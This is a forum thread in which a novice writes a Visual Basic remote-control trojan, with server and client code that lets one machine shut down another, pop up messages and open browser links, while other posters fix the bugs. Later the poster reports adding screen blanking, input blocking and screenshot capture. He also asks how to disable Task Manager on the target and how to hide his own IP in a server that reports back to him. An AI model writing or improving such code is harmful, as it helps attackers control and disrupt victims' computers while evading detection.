Help with Trojan
I'd just like to clear up, I'm doing this for learning purposes:
Server code:
Winsock1.LocalPort = 6549
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
Dim vardata As String
Dim cmddata As String
Winsock1.GetData Data
cmddata = Data
vardata = Right(vardata, Len(Data) - 3)
Select Case Cases
Case "sht"
Call Shell(Shutdown - f)
Case "msg"
MsgBox " vardata "
Case "fli"
Call Shell("c:&*92;Program Files&*92;Internet Explorer&*92;iexplore " & vardata)
End Select
End Sub
Client Code:
Winsock1.Close
MsgBox "Now disconnected"
End Sub
Private Sub Command2_Click()
Dim data As String
cmddata = msg
vardata = Text3.Text
data = cmddata & vardata
Winsock1.SendData data
End Sub
Private Sub Command3_Click()
Dim data As String
cmddata = fli
vardata = Text4.Text
data = cmddata & vardata
Winsock1.SendData data
End Sub
Private Sub Command4_Click()
Dim data As String
data = "sht"
Winsock1.SendData data
End Sub
Private Sub Command5_Click()
Winsock1.Close
IP = InputBox("What IP would you like to connect to?")
Port = InputBox("What Port would you like to connect to?")
Winsock1.RemoteHost = IP
Winsock1.RemotePort = Port
Winsock1.Connect
End Sub
Private Sub Winsock1_Connect()
MsgBox "Now connected to host!"
End Sub
So far:
The two, ARE connecting and they ARE receiving messages. I think I might have written the Case scenario wrong =\? Btw, I used the tutorials on this site if someone thinks they look familiar, i just changed a bit of stuff around.
Btw, I know they are receiving messages because I just tested with a list box and I had
Listbox1.additem (data) under the getdata private sub.
Any help is appreciated, thanks.
Okay, I put that in but it's still not working :(
Btw I'm connecting to "127.0.0.1" on port "6549" whenever I try this? Either one not combatible?
Also, when I hit the shutdown button, I get an error in VB and it highlights the shutdown syntax on the server's side.
Here are the edits:
Server:
Winsock1.LocalPort = 6549
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
Dim vardata As String
Dim cmdtoken As String
Winsock1.GetData Data
cmdtoken = Left(Data, 3)
vardata = Right(Data, Len(Data) - 3)
Select Case cmdtoken
Case "sht"
Call Shell(Shutdown - f)
Case "msg"
MsgBox " vardata "
Case "fli"
Call Shell("c:&*92;Program Files&*92;Internet Explorer&*92;iexplore " & vardata)
End Select
End Sub
Client:
Winsock1.Close
MsgBox "Now disconnected"
End Sub
Private Sub Command2_Click()
Dim data As String
Dim cmddata As String
Dim vardata As String
cmddata = msg
vardata = Text3.Text
data = cmddata & vardata
Winsock1.SendData data
End Sub
Private Sub Command3_Click()
Dim data As String
Dim cmddata As String
Dim vardata As String
cmddata = fli
vardata = Text4.Text
data = cmddata & vardata
Winsock1.SendData data
End Sub
Private Sub Command4_Click()
Dim data As String
data = "sht"
Winsock1.SendData data
End Sub
Private Sub Command5_Click()
Winsock1.Close
IP = InputBox("What IP would you like to connect to?")
Port = InputBox("What Port would you like to connect to?")
Winsock1.RemoteHost = IP
Winsock1.RemotePort = Port
Winsock1.Connect
End Sub
Private Sub Winsock1_Connect()
MsgBox "Now connected to host!"
End Sub
Thanks for the help so far even though it still doesn't work :p
Btw I'm connecting to "127.0.0.1" on port "6549" whenever I try this? Either one not combatible? Also, when I hit the shutdown button, I get an error in VB and it highlights the shutdown syntax on the server's side.
-you can connect to 127.0.0.1 but,your firewall might block it or something. -when you want to remote shutdown a pc, you specify the ip! -then,loose the select cases.just use if statements.
if you really need help just pm me or something… you might want to figure it out yourself,it'll be surprisingly easy, and you'll learn more from it,then when some1 hands you a snippet of code… :happy: happy coding…
darksun wrote: -you can connect to 127.0.0.1 but,your firewall might block it or something. -when you want to remote shutdown a pc, you specify the ip! -then,loose the select cases.just use if statements.
if you really need help just pm me or something… you might want to figure it out yourself,it'll be surprisingly easy, and you'll learn more from it,then when some1 hands you a snippet of code… :happy: happy coding…
-My firewall isn't blocking the connection, as I have "Connection established" on the winsock connect -Is this considered a remote shut down? Because the server is what's running the command, the client is just telling it to run it. -Here's my new Winsock1_DataArival But still doesn't work =[
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
Dim vardata As String
Winsock1.GetData Data
vardata = Right(Data, Len(Data) - 3)
If Left(Data, 3) = "sht" Then
Call Shell(Shutdown - f)
ElseIf Left(Data, 3) = "msg" Then
MsgBox " & vardata & "
ElseIf Left(Data, 3) = "fli" Then
Call Shell("c:&*92;Program Files&*92;Internet Explorer&*92;iexplore " & vardata)
End If
End Sub ```
By the way, I tried reading another tutorial earlier and I just coppied the source code that the author had posted, and that didn't run either. Maybe that helps in figuring out what's wrong? :angry:
Again, thanks all for the help. Hopefully I can get this working :p
COME ON :right:
Can't you figure out whats wrong by yourself ??
ok here is the problem with the shutdown thingy
do you know what shell() does ?
hold on, do you know the difference between "dummy" and dummy ??
YOU NEED QUOTES THERE
markupCall Shell("Shutdown -f" )
open cmd and type shutdown to see the options.
plus it's not a remote shutdown since it's running on the local machine.
oh one more thing, for the msgbox YOU ARE USING A VARIABLE SO YOU DONT NEED QUOTES. got it ?? good
I suggest you go through learning the basics first before trying to create a trojan.
GreyFox wrote: COME ON :right: Can't you figure out whats wrong by yourself ?? ok here is the problem with the shutdown thingy do you know what shell() does ? hold on, do you know the difference between "dummy" and dummy ?? YOU NEED QUOTES THERE
markupCall Shell("Shutdown -f" )
open cmd and type shutdown to see the options. plus it's not a remote shutdown since it's running on the local machine. oh one more thing, for the msgbox YOU ARE USING A VARIABLE SO YOU DONT NEED QUOTES. got it ?? good I suggest you go through learning the basics first before trying to create a trojan.
No, I don't know the difference between quotes and not quotes. I'm working on various projects so I can learn, as I'm not the greatest now. I changed what you told me to and it still doesn't work :whoa:
Oo.. I think I have it.. one second. I'll edit this.
Edit: I knew it had to be something simple lol.. Sorry for the trouble everyone
I just needed cmddata = "msg" not cmddata = msg
Well now that I have that worked out..
May I ask someone to help me with Shell() and also explain when I need quotes. =] Thanks
I assume you DO KNOW what a Variable is and what are the variable types. If i'm wrong, then you need to get ur ass to google as fast as possible. ;)
"hello" : is a string not a variable thus when you use:
markupmsgbox "hello"
it'll popup hello cuz you passed the string "hello" as the argument.
but hello(without quotes) is a variable and basicly contains the address of the string which it represents. therefore you say:
Dim hello as string 'specifying the type, in this case string
hello = "HAHA" ' Initializing the variable
msgbox hello ' pass it to msgbox() as an argument
and this will pop HAHA
if you have any questions just pm me or GOOOOOOOOOOOOGle it
Thanks very much =]
Okay so far everything works:
Shutdown command Message BlackScreen (And a list added for messages :p) IE Popup crash IE force link And Block mouse & keyboard
Although, I have a few more questions =]
Atm, I'm working on a screenshot command, to see the other person's computer. I'm taking it step by step and right now, I'm just having the user save the screenshot on his computer. So far that works, but I'm testing what a preview would look like for me later, and when the image is loaded into picture1, the screenshot is much bigger :wow: Anyone know how I can make the image fit the picture? I've been looking at all the options, but can't find one that suits it.
Also, could someone tell me how to block task manager? As that makes my black screen go away =[ (Also say how to turn it back on just incase if i screw myself over testing it :p)
Thanks everyone!:D
I think I'll just mess with the key :p I don't want to do any permanent damage lol. Thanks, I'll google that though =]
Few more questions:
- Next person to read this, i didn't feel like reposting what I said before, so just look a few posts up and read my question about the screenshot :p
Dim LRet As Long
LRet = mciSendString("set CDAudio door open", returnstring, 127, 0)
End Sub ```
I just googled on how to open the cdtray and I understand all of that except the "returnstring, 127, 0)" whats the point in that?
Thanks again =]
Along with the above, I have another question =]
If I put my own IP in the server's file, so it could report back to me when someone has come online, would it be possible for them to crack the file and get my IP from the variables or by some other means. And if they can, what's the best way to hide it, or if i can, make it invisible.